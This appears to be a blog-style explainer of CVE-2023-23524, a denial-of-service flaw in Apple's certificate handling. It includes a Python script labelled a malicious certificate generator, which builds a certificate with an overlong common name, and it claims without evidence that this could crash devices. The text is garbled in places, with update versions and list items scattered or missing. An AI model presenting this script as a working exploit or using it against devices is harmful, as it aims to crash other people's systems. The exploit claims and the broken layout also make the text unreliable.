CVE-2023-23524 is a security vulnerability fixed by Apple in early 2023. This bug is a denial-of-service (DoS) issue rooted in how Apple operating systems handled certain digital certificates. Devices running older versions of macOS, iOS, iPadOS, tvOS, and watchOS were at risk. Let’s dive into what happened, walk through a code snippet, and explain how this bug could have been exploited.

What’s the Real Problem?

A certificate is like a digital ID card websites and services use to prove they’re legit. Apple’s operating systems process these certificates all the time. Due to improper input validation—that is, not checking if the data in the certificate was safe—an attacker could send a “maliciously crafted” certificate that would trigger a crash or freeze on your device.

The result? Denial-of-service. If someone sends you or your device such a certificate, through a website, message, or app, your device could become unresponsive or reboot.

watchOS (fixed in 9.3.1)

If your device runs an older version, you might still be vulnerable.

Original advisory link:  
Apple Security Updates—CVE-2023-23524

How the Exploit Worked

Attackers could exploit this issue by sending a badly crafted certificate to your device. For example:

Receiving a specially crafted email or message

If your device tried to process the certificate (like verifying SSL/TLS connections), it would crash or hang.

Hypothetical Exploit Flow

1. Attacker creates a malformed X.509 certificate (for example, with an incorrect field length)
2. Victim visits a site or service using this certificate
3. Apple's certificate parser does not properly validate the input
4. The operating system encounters an unexpected value and crashes

Code Snippet: Malicious Certificate Generator (Python)

Here’s a simple example of generating a malformed X.509 certificate using Python’s cryptography library. (This won’t crash devices now—patches have fixed the flaw—but it shows the idea.)

from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization

# Generate keys
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)

# Build a certificate with an intentionally too-long field
name = x509.Name([
    x509.NameAttribute(NameOID.COMMON_NAME, u"A" * 500)   # Overlong common name
])

cert = (
    x509.CertificateBuilder()
    .subject_name(name)
    .issuer_name(name)
    .public_key(key.public_key())
    .serial_number(x509.random_serial_number())
    .not_valid_before(x509.datetime.datetime.utcnow())
    .not_valid_after(x509.datetime.datetime.utcnow())
    .sign(key, hashes.SHA256())
)

with open("malicious_cert.pem", "wb") as f:
    f.write(cert.public_bytes(serialization.Encoding.PEM))

If such a certificate were used on a server or sent to a device, it could have triggered the crash.

How Did Apple Fix CVE-2023-23524?

Apple patched the bug by improving input validation—basically, they made sure that the operating system properly checks certificates for strange or unexpected data before trying to process them.

References:  
- Apple Security Update (CVE-2023-23524)  
- NVD CVE-2023-23524

macOS Ventura 13.2.1

- iOS/iPadOS 16.3.1

watchOS 9.3.1

Never ignore software updates, as they often patch security bugs like this one.

In Summary

CVE-2023-23524 made it possible for attackers to crash Apple devices by sending them malicious certificates. Apple quickly fixed this by tightening up certificate handling. The next time your device asks for an update, remember this bug—and tap “Install Now.”

Timeline

Published on: 02/27/2023 20:15:00 UTC
Last modified on: 03/08/2023 15:26:00 UTC